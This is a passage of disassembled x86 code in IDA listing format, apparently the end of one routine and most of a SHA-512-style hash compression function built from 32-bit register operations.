[ebp+arg_20], eax jz loc_405385 push 6 pop ecx mov edi, eax lea esi, [ebp+arg_4] rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_40D820 add esp, 0Ch push 0 lea eax, [ebp+var_8] push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call ds:off_41E078 test eax, eax jz short loc_40537C mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40537C push [ebp+arg_20] call sub_40D35A cmp [ebp+arg_2B], 0 pop ecx jz short loc_405378 push 0 push [ebp+arg_24] sub ebx, edi push ebx add edi, esi push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] lea esi, [ebp+arg_4] rep movsd call sub_405299 add esp, 2Ch jmp short loc_405387 ; --------------------------------------------------------------------------- loc_405378: ; CODE XREF: sub_405299+B8j mov al, 1 jmp short loc_405387 ; --------------------------------------------------------------------------- loc_40537C: ; CODE XREF: sub_405299+A1j ; sub_405299+A9j push [ebp+arg_20] call sub_40D35A pop ecx loc_405385: ; CODE XREF: sub_405299+66j xor al, al loc_405387: ; CODE XREF: sub_405299+DDj ; sub_405299+E1j pop edi pop esi pop ebx leave retn sub_405299 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_405390 proc near ; CODE XREF: sub_407AA0+C3p ; sub_407BA0+BEp ... var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = dword ptr -0F0h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = dword ptr -0D0h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 160h mov eax, [esp+160h+arg_0] mov edx, [eax+54h] push ebx mov [esp+164h+var_FC], edx mov edx, [eax+5Ch] push ebp push esi mov [esp+16Ch+var_10C], edx mov edx, [eax+64h] push edi lea esi, [eax+10h] mov [esp+170h+var_4], esi mov ecx, 10h lea edi, [esp+170h+var_158] rep movsd mov ecx, [eax+50h] mov [esp+170h+var_100], ecx mov ecx, [eax+58h] mov [esp+170h+var_110], ecx mov ecx, [eax+60h] mov [esp+170h+var_108], ecx mov ecx, [eax+68h] mov [esp+170h+var_104], edx mov edx, [eax+6Ch] mov [esp+170h+var_B8], ecx mov ecx, [eax+70h] mov [esp+170h+var_B4], edx mov edx, [eax+74h] mov [esp+170h+var_A8], ecx mov ecx, [eax+78h] mov [esp+170h+var_A4], edx mov edx, [eax+7Ch] mov [esp+170h+var_D0], ecx mov ecx, [eax+80h] mov [esp+170h+var_CC], edx mov edx, [eax+84h] mov esi, [eax+0C4h] mov [esp+170h+var_D8], ecx mov ecx, [eax+88h] mov [esp+170h+var_D4], edx mov edx, [eax+8Ch] mov [esp+170h+var_118], ecx mov ecx, [eax+90h] mov [esp+170h+var_114], edx mov edx, [eax+94h] mov [esp+170h+var_C8], ecx mov ecx, [eax+98h] mov [esp+170h+var_C4], edx mov edx, [eax+9Ch] mov [esp+170h+var_F0], ecx mov ecx, [eax+0A0h] mov [esp+170h+var_EC], edx mov edx, [eax+0A4h] mov [esp+170h+var_E8], ecx mov ecx, [eax+0A8h] mov [esp+170h+var_E4], edx mov edx, [eax+0ACh] mov [esp+170h+var_F8], ecx mov ecx, [eax+0B0h] mov [esp+170h+var_F4], edx mov edx, [eax+0B4h] mov [esp+170h+var_B0], ecx mov ecx, [eax+0B8h] mov [esp+170h+var_AC], edx mov edx, [eax+0BCh] mov [esp+170h+var_C0], ecx mov ecx, [eax+0C0h] mov [esp+170h+var_BC], edx mov edx, [eax+0C8h] mov eax, [eax+0CCh] xor edi, edi mov [esp+170h+var_15C], edi mov [esp+170h+var_A0], ecx mov [esp+170h+var_9C], esi mov [esp+170h+var_E0], edx mov [esp+170h+var_DC], eax jmp short loc_40552E ; --------------------------------------------------------------------------- align 10h loc_405520: ; CODE XREF: sub_405390+2680j mov ecx, [esp+170h+var_A0] mov esi, [esp+170h+var_9C] loc_40552E: ; CODE XREF: sub_405390+18Aj test edi, edi mov eax, [esp+170h+var_138] mov edx, [esp+170h+var_134] jz loc_405618 mov edi, ecx xor eax, eax mov ebx, esi shrd edi, ebx, 13h or eax, edi mov ebp, ecx mov edx, ecx mov edi, esi shld esi, ebp, 3 shr ebx, 13h shl edx, 0Dh or edx, ebx add ebp, ebp xor ebx, ebx or ebx, esi mov esi, [esp+170h+var_9C] shrd ecx, esi, 6 add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor eax, edi xor eax, ecx mov ecx, [esp+170h+var_10C] xor edx, ebx mov [esp+170h+var_160], eax mov eax, [esp+170h+var_110] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 shr esi, 6 xor edx, esi xor edi, edi or edi, ebx mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_10C] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_110] shrd ecx, eax, 7 shr eax, 7 xor edi, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+arg_0] xor edi, ecx mov ecx, [esp+170h+var_160] add ecx, edi adc edx, esi add ecx, [esp+170h+var_100] adc edx, [esp+170h+var_FC] add ecx, [esp+170h+var_F0] adc edx, [esp+170h+var_EC] mov [eax+50h], ecx mov [eax+54h], edx mov eax, edx mov edx, [esp+170h+var_134] mov [esp+170h+var_FC], eax mov [esp+170h+var_54], eax mov eax, [esp+170h+var_138] mov [esp+170h+var_100], ecx mov [esp+170h+var_58], ecx jmp short loc_40562E ; --------------------------------------------------------------------------- loc_405618: ; CODE XREF: sub_405390+1A8j mov ecx, [esp+170h+var_100] mov [esp+170h+var_58], ecx mov ecx, [esp+170h+var_FC] mov [esp+170h+var_54], ecx loc_40562E: ; CODE XREF: sub_405390+286j mov ebx, edx mov esi, edx xor edi, edi mov ecx, eax shld ebx, ecx, 17h or edi, ebx shl ecx, 17h xor ebx, ebx shr esi, 9 or esi, ecx mov ebp, eax shrd ebp, edx, 12h or ebx, ebp mov ebp, [esp+170h+var_134] xor esi, ebx shr edx, 12h mov ecx, eax shl ecx, 0Eh or ecx, edx xor edi, ecx xor ecx, ecx mov ebx, eax shrd ebx, ebp, 0Eh or ecx, ebx xor esi, ecx mov ecx, [esp+170h+var_134] shr ebp, 0Eh mov edx, eax shl edx, 12h or edx, ebp mov ebp, [esp+170h+var_130] xor edi, edx and ebp, eax mov edx, eax mov eax, [esp+170h+var_12C] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_11C] not edx and edx, [esp+170h+var_128] not ebx and ebx, [esp+170h+var_124] xor edx, ebp xor ebx, eax mov eax, [esp+170h+var_15C] add esi, edx adc edi, ebx add esi, ds:dword_420640[eax*8] adc edi, ds:dword_420644[eax*8] add esi, [esp+170h+var_58] mov eax, [esp+170h+var_120] adc edi, [esp+170h+var_54] add eax, esi adc ecx, edi add [esp+170h+var_140], eax mov [esp+170h+var_11C], ecx mov [esp+170h+var_120], eax adc [esp+170h+var_13C], ecx mov eax, [esp+170h+var_154] mov ecx, [esp+170h+var_158] mov edx, ecx mov esi, ecx mov ebx, eax shrd edx, ebx, 1Ch xor edi, edi or edi, edx mov ebp, eax shld ebp, ecx, 1Eh shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shl ecx, 1Eh shr edx, 2 xor ebx, ebx or edx, ecx or ebx, ebp mov ecx, eax xor edi, edx xor esi, ebx shr ecx, 7 mov ebx, [esp+170h+var_158] mov ebp, eax shld ebp, ebx, 19h shl ebx, 19h or ecx, ebx xor edx, edx or edx, ebp mov ebp, [esp+170h+var_14C] xor edi, ecx mov ecx, [esp+170h+var_150] xor esi, edx mov edx, [esp+170h+var_158] mov ebx, ecx xor ebx, edx and ebx, [esp+170h+var_148] and ecx, edx mov edx, [esp+170h+var_14C] xor ebp, eax and ebp, [esp+170h+var_144] and edx, eax xor ebx, ecx xor ebp, edx add edi, ebx adc esi, ebp add [esp+170h+var_120], edi adc [esp+170h+var_11C], esi cmp [esp+170h+var_15C], 0 jz loc_405844 mov eax, [esp+170h+var_E0] mov ecx, [esp+170h+var_DC] mov ebx, ecx mov edi, eax shrd edi, ebx, 13h xor esi, esi or esi, edi mov edi, ecx shr ebx, 13h mov edx, eax mov ebp, eax shld ecx, ebp, 3 shl edx, 0Dh or edx, ebx xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_DC] shrd eax, ecx, 6 add ebp, ebp add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor esi, edi xor esi, eax mov eax, [esp+170h+var_108] xor edx, ebx shr ecx, 6 xor edx, ecx mov ecx, [esp+170h+var_104] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 xor edi, edi or edi, ebx mov [esp+170h+var_160], esi mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_108] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_104] shrd eax, ecx, 7 shr ecx, 7 xor esi, ebx xor edi, ebp xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_E8] adc edx, [esp+170h+var_E4] add ecx, [esp+170h+var_110] adc edx, [esp+170h+var_10C] mov [eax+58h], ecx mov [eax+5Ch], edx mov eax, edx mov [esp+170h+var_110], ecx mov [esp+170h+var_10C], eax mov [esp+170h+var_28], ecx jmp short loc_405853 ; --------------------------------------------------------------------------- loc_405844: ; CODE XREF: sub_405390+3D5j mov edx, [esp+170h+var_110] mov eax, [esp+170h+var_10C] mov [esp+170h+var_28], edx loc_405853: ; CODE XREF: sub_405390+4B2j mov ecx, [esp+170h+var_13C] mov ebx, ecx mov [esp+170h+var_24], eax mov eax, [esp+170h+var_140] mov edx, ecx xor esi, esi shr edx, 9 mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h or edx, edi xor ebx, ebx mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_13C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi xor edi, edi mov ebx, eax shrd ebx, ebp, 0Eh or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp xor esi, ecx mov ecx, [esp+170h+var_13C] mov ebx, ecx and ecx, [esp+170h+var_134] mov edi, eax and eax, [esp+170h+var_138] not ebx and ebx, [esp+170h+var_12C] not edi and edi, [esp+170h+var_130] xor ebx, ecx mov ecx, [esp+170h+var_124] xor edi, eax mov eax, [esp+170h+var_15C] add edx, edi adc esi, ebx add edx, ds:dword_420648[eax*8] adc esi, ds:dword_42064C[eax*8] add edx, [esp+170h+var_28] mov eax, [esp+170h+var_128] adc esi, [esp+170h+var_24] add eax, edx adc ecx, esi add [esp+170h+var_148], eax mov [esp+170h+var_124], ecx mov [esp+170h+var_128], eax adc [esp+170h+var_144], ecx mov eax, [esp+170h+var_11C] mov ecx, [esp+170h+var_120] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx xor edi, edi or edi, edx mov ebp, eax shld ebp, ecx, 1Eh shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shl ecx, 1Eh shr edx, 2 xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ecx, eax mov ebx, [esp+170h+var_120] xor edx, edx mov ebp, eax shld ebp, ebx, 19h or edx, ebp mov ebp, [esp+170h+var_154] shl ebx, 19h shr ecx, 7 or ecx, ebx xor esi, edx mov edx, [esp+170h+var_158] xor edi, ecx mov ecx, [esp+170h+var_120] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_150] and edx, ecx mov ecx, [esp+170h+var_154] xor ebp, eax and ebp, [esp+170h+var_14C] and ecx, eax xor ebx, edx xor ebp, ecx add edi, ebx adc esi, ebp add [esp+170h+var_128], edi adc [esp+170h+var_124], esi cmp [esp+170h+var_15C], 0 jz loc_405A6E mov eax, [esp+170h+var_B8] mov ecx, [esp+170h+var_B4] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_B4] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_100] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_FC] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_100] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_FC] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_F8] adc edx, [esp+170h+var_F4] add ecx, [esp+170h+var_108] adc edx, [esp+170h+var_104] mov [eax+60h], ecx mov [eax+64h], edx mov eax, edx mov [esp+170h+var_108], ecx mov [esp+170h+var_104], eax mov [esp+170h+var_70], ecx jmp short loc_405A7D ; --------------------------------------------------------------------------- loc_405A6E: ; CODE XREF: sub_405390+605j mov edx, [esp+170h+var_108] mov eax, [esp+170h+var_104] mov [esp+170h+var_70], edx loc_405A7D: ; CODE XREF: sub_405390+6DCj mov ecx, [esp+170h+var_144] mov ebx, ecx mov [esp+170h+var_6C], eax mov eax, [esp+170h+var_148] mov edx, ecx xor esi, esi shr edx, 9 mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h or edx, edi xor ebx, ebx mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_144] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi xor edi, edi mov ebx, eax shrd ebx, ebp, 0Eh or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp xor esi, ecx mov ecx, [esp+170h+var_144] mov ebx, ecx and ecx, [esp+170h+var_13C] mov edi, eax and eax, [esp+170h+var_140] not ebx and ebx, [esp+170h+var_134] not edi and edi, [esp+170h+var_138] xor ebx, ecx mov ecx, [esp+170h+var_12C] xor edi, eax mov eax, [esp+170h+var_15C] add edx, edi adc esi, ebx add edx, ds:dword_420650[eax*8] adc esi, ds:dword_420654[eax*8] add edx, [esp+170h+var_70] mov eax, [esp+170h+var_130] adc esi, [esp+170h+var_6C] add eax, edx adc ecx, esi add [esp+170h+var_150], eax mov [esp+170h+var_12C], ecx mov [esp+170h+var_130], eax adc [esp+170h+var_14C], ecx mov eax, [esp+170h+var_124] mov ecx, [esp+170h+var_128] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx xor edi, edi or edi, edx mov ebp, eax shld ebp, ecx, 1Eh shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shl ecx, 1Eh shr edx, 2 xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ecx, eax mov ebx, [esp+170h+var_128] xor edx, edx mov ebp, eax shld ebp, ebx, 19h or edx, ebp mov ebp, [esp+170h+var_11C] shl ebx, 19h shr ecx, 7 or ecx, ebx xor esi, edx mov edx, [esp+170h+var_120] xor edi, ecx mov ecx, [esp+170h+var_128] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_158] and edx, ecx mov ecx, [esp+170h+var_11C] xor ebp, eax and ebp, [esp+170h+var_154] and ecx, eax xor ebx, edx xor ebp, ecx add edi, ebx adc esi, ebp add [esp+170h+var_130], edi adc [esp+170h+var_12C], esi cmp [esp+170h+var_15C], 0 jz loc_405CAA mov eax, [esp+170h+var_A8] mov ecx, [esp+170h+var_A4] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_A4] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_110] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_10C] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_110] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_10C] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_B0] adc edx, [esp+170h+var_AC] add ecx, [esp+170h+var_B8] adc edx, [esp+170h+var_B4] mov [eax+68h], ecx mov [eax+6Ch], edx mov eax, edx mov [esp+170h+var_B8], ecx mov [esp+170h+var_B4], eax mov [esp+170h+var_38], ecx jmp short loc_405CBF ; --------------------------------------------------------------------------- loc_405CAA: ; CODE XREF: sub_405390+82Fj mov edx, [esp+170h+var_B8] mov eax, [esp+170h+var_B4] mov [esp+170h+var_38], edx loc_405CBF: ; CODE XREF: sub_405390+918j mov ecx, [esp+170h+var_14C] mov ebx, ecx mov [esp+170h+var_34], eax mov eax, [esp+170h+var_150] xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_14C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_148] xor esi, ecx mov ecx, [esp+170h+var_14C] and ebp, eax mov edi, eax mov eax, [esp+170h+var_144] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_134] not ebx and ebx, [esp+170h+var_13C] not edi and edi, [esp+170h+var_140] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_420658[eax*8] adc esi, ds:dword_42065C[eax*8] add edx, [esp+170h+var_38] mov eax, [esp+170h+var_138] adc esi, [esp+170h+var_34] add eax, edx adc ecx, esi add [esp+170h+var_158], eax mov [esp+170h+var_134], ecx mov [esp+170h+var_138], eax adc [esp+170h+var_154], ecx mov ecx, [esp+170h+var_130] mov eax, [esp+170h+var_12C] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx mov ebp, eax shld ebp, ecx, 1Eh xor edi, edi or edi, edx shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shr edx, 2 shl ecx, 1Eh xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ebx, [esp+170h+var_130] xor edx, edx mov ebp, eax shld ebp, ebx, 19h or edx, ebp mov ebp, [esp+170h+var_124] shl ebx, 19h xor esi, edx mov edx, [esp+170h+var_128] mov ecx, eax shr ecx, 7 or ecx, ebx xor edi, ecx mov ecx, [esp+170h+var_130] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_120] and edx, ecx mov ecx, [esp+170h+var_124] xor ebp, eax and ebp, [esp+170h+var_11C] and ecx, eax xor ebx, edx xor ebp, ecx add edi, ebx adc esi, ebp add [esp+170h+var_138], edi adc [esp+170h+var_134], esi cmp [esp+170h+var_15C], 0 jz loc_405EF0 mov eax, [esp+170h+var_D0] mov ecx, [esp+170h+var_CC] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_CC] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_108] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_104] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_108] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_104] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_C0] adc edx, [esp+170h+var_BC] add ecx, [esp+170h+var_A8] adc edx, [esp+170h+var_A4] mov [eax+70h], ecx mov [eax+74h], edx mov eax, edx mov [esp+170h+var_A8], ecx mov [esp+170h+var_A4], eax mov [esp+170h+var_88], ecx jmp short loc_405F05 ; --------------------------------------------------------------------------- loc_405EF0: ; CODE XREF: sub_405390+A75j mov edx, [esp+170h+var_A8] mov eax, [esp+170h+var_A4] mov [esp+170h+var_88], edx loc_405F05: ; CODE XREF: sub_405390+B5Ej mov ecx, [esp+170h+var_154] mov [esp+170h+var_84], eax mov eax, [esp+170h+var_158] mov ebx, ecx xor esi, esi mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h mov edx, ecx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h xor ebx, ebx or ebx, ebp mov ebp, [esp+170h+var_154] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi mov ecx, eax shl ecx, 12h shr ebp, 0Eh or ecx, ebp mov ebp, [esp+170h+var_150] xor esi, ecx mov ecx, [esp+170h+var_154] and ebp, eax mov edi, eax mov eax, [esp+170h+var_14C] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_13C] not edi and edi, [esp+170h+var_148] not ebx and ebx, [esp+170h+var_144] xor edi, ebp xor ebx, eax mov eax, [esp+170h+var_15C] add edx, edi adc esi, ebx add edx, ds:dword_420660[eax*8] mov edi, [esp+170h+var_12C] adc esi, ds:dword_420664[eax*8] add edx, [esp+170h+var_88] mov eax, [esp+170h+var_140] adc esi, [esp+170h+var_84] add eax, edx adc ecx, esi add [esp+170h+var_120], eax mov esi, [esp+170h+var_130] mov [esp+170h+var_140], eax adc [esp+170h+var_11C], ecx mov [esp+170h+var_13C], ecx mov ecx, [esp+170h+var_138] mov eax, esi xor eax, ecx mov [esp+170h+var_98], eax mov eax, [esp+170h+var_134] mov edx, edi xor edx, eax mov [esp+170h+var_94], edx mov edx, esi and edx, ecx mov [esp+170h+var_90], edx mov edx, edi and edx, eax mov [esp+170h+var_8C], edx mov edx, ecx xor esi, esi shl edx, 4 mov edi, ecx mov ebx, eax shrd edi, ebx, 1Ch shr ebx, 1Ch or edx, ebx or esi, edi mov ebp, eax shld ebp, ecx, 1Eh xor ebx, ebx shl ecx, 1Eh or ebx, ebp mov edi, eax xor edx, ebx mov ebx, [esp+170h+var_138] shr edi, 2 or edi, ecx mov ecx, eax shld eax, ebx, 19h xor esi, edi shr ecx, 7 xor edi, edi or edi, eax mov eax, [esp+170h+var_98] and eax, [esp+170h+var_128] shl ebx, 19h xor eax, [esp+170h+var_90] or ecx, ebx xor esi, ecx mov ecx, [esp+170h+var_94] and ecx, [esp+170h+var_124] xor edx, edi xor ecx, [esp+170h+var_8C] add esi, eax adc edx, ecx add [esp+170h+var_140], esi adc [esp+170h+var_13C], edx cmp [esp+170h+var_15C], 0 jz loc_406172 mov eax, [esp+170h+var_B8] mov ecx, [esp+170h+var_B4] mov ebx, ecx mov edi, eax shrd edi, ebx, 13h xor esi, esi or esi, edi mov edi, ecx shr ebx, 13h mov edx, eax mov ebp, eax shld ecx, ebp, 3 shl edx, 0Dh or edx, ebx xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_B4] shrd eax, ecx, 6 add ebp, ebp add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor esi, edi xor esi, eax mov eax, [esp+170h+var_D8] xor edx, ebx shr ecx, 6 xor edx, ecx mov ecx, [esp+170h+var_D4] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 xor edi, edi or edi, ebx mov [esp+170h+var_160], esi mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_D8] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_D4] shrd eax, ecx, 7 shr ecx, 7 xor esi, ebx xor edi, ebp xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_D0] adc edx, [esp+170h+var_CC] add ecx, [esp+170h+var_A0] adc edx, [esp+170h+var_9C] mov [eax+78h], ecx mov [eax+7Ch], edx mov eax, edx mov [esp+170h+var_D0], ecx mov [esp+170h+var_CC], eax mov [esp+170h+var_60], ecx jmp short loc_406187 ; --------------------------------------------------------------------------- loc_406172: ; CODE XREF: sub_405390+CEBj mov edx, [esp+170h+var_D0] mov eax, [esp+170h+var_CC] mov [esp+170h+var_60], edx loc_406187: ; CODE XREF: sub_405390+DE0j mov ecx, [esp+170h+var_11C] mov ebx, ecx mov [esp+170h+var_5C], eax mov eax, [esp+170h+var_120] xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_11C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh shr ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_158] xor esi, ecx mov ecx, [esp+170h+var_11C] and ebp, eax mov edi, eax mov eax, [esp+170h+var_154] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_148] not ebx and ebx, [esp+170h+var_14C] not edi and edi, [esp+170h+var_150] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_420668[eax*8] adc esi, ds:dword_42066C[eax*8] add edx, [esp+170h+var_60] mov eax, [esp+170h+var_128] adc esi, [esp+170h+var_5C] add ecx, edx mov edx, [esp+170h+var_144] adc edx, esi add eax, ecx adc [esp+170h+var_124], edx mov [esp+170h+var_148], ecx mov ecx, [esp+170h+var_140] mov 